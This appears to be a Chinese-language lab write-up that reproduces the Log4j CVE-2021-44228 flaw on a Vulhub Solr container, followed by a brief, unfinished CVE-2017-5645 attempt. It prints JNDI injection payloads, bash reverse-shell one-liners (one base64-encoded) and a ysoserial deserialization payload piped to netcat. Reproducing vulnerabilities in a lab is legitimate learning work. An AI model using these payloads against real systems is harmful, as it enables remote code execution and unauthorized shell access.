CVE-2021-44228 Apache Log4j 远程代码执行漏洞

漏洞描述

Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。

参考地址:

1
https://github.com/vulhub/vulhub

复制

本次漏洞复现也是基于Vulhub

漏洞复现

1
docker-compose up -d --build

image-20230417174622063

访问http://127.0.0.1:8983/solr/#/

image-20230417174936629

进行dns测试看是否存在漏洞

先拿一个域名

image-20230417175046593

构造

${jndi:dns://${sys:java.version}.example.com}是利用JNDI发送DNS请求的Payload:

1
http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.sij1vb.dnslog.cn}

直接访问

1
http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.3j7r1s.dnslog.cn}

image-20230417175341507

得到java的版本是1.8

那么这也说明了是可以执行命令的

于是进行反弹shell

反弹shell

1
bash -i >& /dev/tcp/vps_ip/6666 0>&1

最终形态

1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xMjkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

反弹shell需要的工具

工具地址,下面是操作流程

image-20230417194052114

image-20230417194154023

payload

1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xMjkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i} -A "192.168.142.129"

-C是编码后的内容,-A是反弹shell的ip地址。
注意要先nc监听6666端口.

image-20230417195106656

因为查出来的java版本是1.8

然后进行抓包发包

image-20230417200034238

把生成的payload拿去打

然后就成功将shell反弹

image-20230417200109588

image-20230417200310374

vulhub-log4j漏洞复现(CVE-2017-5645)

漏洞复现

还是先利用docker搭建环境

image-20230417203312678

搭建完毕

准备工具,这里用的是 ysoserial

然后cd进入该目录,使用mvn clean package -DskipTests命令生成jar包

这里话java版本换成java1.8_20 和fastjson那个方法一样来设置java版本

1
java ‐jar ysoserial-v0.0.6-all.jar CommonsCollections5 "touch /tmp/success" | nc 192.168.217.134 4712

这里是往/tmp命令里写入success文件,

复现文章,接下来我就不写了

因为不知道哪个ip开启了4712端口